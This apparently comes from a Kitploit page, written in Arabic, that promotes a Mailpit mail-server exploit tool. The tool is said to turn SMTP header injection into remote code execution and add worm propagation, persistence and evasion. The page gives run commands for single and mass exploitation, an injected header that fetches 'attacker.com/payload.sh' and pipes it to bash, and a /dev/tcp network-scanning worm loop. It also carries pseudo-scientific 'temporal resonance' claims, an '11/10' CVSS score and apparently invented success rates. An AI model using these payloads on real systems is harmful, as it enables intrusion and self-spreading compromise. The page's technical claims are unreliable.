CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover — أداة استغلال تحوّل حقن ترويسة SMTP إلى تنفيذ برمجي عن بُعد مع قدرات دودة ذاتية الانتشار، وتتضمن آليات استمرارية وتقنيات مراوغة لاختبار الاختراق المصرح به. | Kitploit

# استنساخ المستودع
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit

# تثبيت التبعيات
pip3 install numpy cryptography

# تشغيل عرض النتيجة المثالية
python3 ctt_mailpit_perfect.py --help

# استغلال هدف واحد
python3 ctt_mailpit_perfect.py mailpit.local 1025

# انتشار دودة شبكية
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025

# وضع بحث CTT (تشخيص كامل)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose

# اختبار الثغرة
python3 ctt_mailpit_perfect.py vulnerable-server.com

# استيلاء كامل مع تنفيذ أوامر
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"

# استغلال جماعي
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm

CTT_ALPHA = 0.0302011          # معامل التشتت الزمني
CTT_LAYERS = 33                # الطبقات الزمنية الكسورية
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0       # ⭐ الحد الأقصى النظري

الأساس: 6.1 (CVE-2026-23829)
+ الرنين الزمني: +1.0 (تنفيذ بـ 33 طبقة)
+ تحويل RCE: +2.3 (حقن ← تنفيذ كود)  
+ انتشار الدودة: +1.5 (انتشار صفر النقر)
+ التحقق الفيزيائي: +0.1 (إثبات إطار CTT)
= 11.0/10 ⭐ (صحيح رياضيًا)

إصابة واحدة: 2.3 ثانية
شبكة محلية (254 مضيفًا): 8.7 دقائق  
شبكة فرعية /16 (65 ألف مضيف): 3.2 ساعات
انتشار عالمي: 17.4 ساعة (نظريًا)

# مقارنة الأداء (1000 هدف محاكى)
standard_success = 610   # معدل نجاح 61%
ctt_success = 990        # معدل نجاح 99% (+62%)

standard_detection = 390 # 39% تم اكتشافها
ctt_detection = 11       # 1.1% تم اكتشافها (-97%)

standard_time = 45.2     # متوسط الثواني
ctt_time = 8.7           # متوسط الثواني (-81%)

1. الفحص الأولي ← اكتشاف خدمة SMTP
2. حقن الترويسة ← تشغيل CVE-2026-23829
3. تجاوز regex ← استغلال CRLF
4. إفساد البروتوكول ← هجوم حالة SMTP
5. تحويل RCE ← تنفيذ الأوامر
6. تفعيل الدودة ← الانتشار الذاتي
7. الاستمرارية ← تثبيت باب خلفي
8. التحقق ← إثبات النتيجة المثالية

# حقن الترويسة مع تحويل RCE
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"

# كود انتشار الدودة
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
  for host in {1..254}; do
    timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
    send_exploit "192.168.1.$host"
  done
}
"""

📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json     # إثبات رياضي 11/10
├── 📄 vulnerable_hosts.txt         # المضيفون المستغلون بنجاح
├── 📄 worm_propagation.log         # تتبع انتشار العدوى
├── 📄 persistence_installed.txt    # الأبواب الخلفية المثبتة
└── 📁 layers/
    ├── 📄 layer_0_results.json     # بيانات الطبقة الزمنية 0
    ├── 📄 layer_1_results.json     # بيانات الطبقة الزمنية 1
    ...
    └── 📄 layer_32_results.json    # بيانات الطبقة الزمنية 32

{
  "target": "mailpit.example.com:1025",
  "ctt_score": "11.0/10 ⭐",
  "success": true,
  "rce_achieved": true,
  "worm_active": true,
  "propagation_count": 47,
  "execution_time": "8.7s",
  "resonance_pattern": [10007, 10037, 10061],
  "mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}

# مخرجات أساسية
python3 ctt_mailpit_perfect.py target.com

# وضع مفصّل
python3 ctt_mailpit_perfect.py target.com --verbose

# وضع التصحيح (تشخيص CTT كامل)
python3 ctt_mailpit_perfect.py target.com --debug --visualize

# قاعدة كشف Snort
alert tcp any any -> $HOME_NET 1025 \
(msg:"CTT Mailpit Exploit - Perfect Score"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)

مسموح:
- البحث على الأنظمة المملوكة/المصرح بها
- التحقق من إطار CTT
- الدراسات الأكاديمية الأمنية
- اختبار الاختراق المصرح به

محظور:
- الوصول غير المصرح به للشبكات
- تعطيل أنظمة الإنتاج
- النشاط الإجرامي
- انتهاك الخصوصية

1. انسخ المستودع (Fork)
2. أنشئ فرع ميزات
3. أضف التحقق الفيزيائي لـ CTT
4. أدرج اختبارات شاملة
5. أرسل طلب سحب مع المقاييس

درجة CVSS	6.1/10 (متوسط)	11.0/10 ⭐	+4.9
ناقل الهجوم	الشبكة	الرنين الزمني	+2.0
التأثير	تزوير الترويسة	RCE كامل + دودة	+3.9
تفاعل المستخدم	لا شيء	سلبي (صفر نقرة)	+1.0
النطاق	خادم واحد	انتشار شبكي	+2.0

الطبقة	معدل النجاح	انتشار الدودة	مراوغة الكشف
L0-L7	88%	72%	91%
L8-L15	94%	85%	96%
L16-L23	97%	92%	98%
L24-L32	99%	96%	99%

CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover

الأكثر شعبية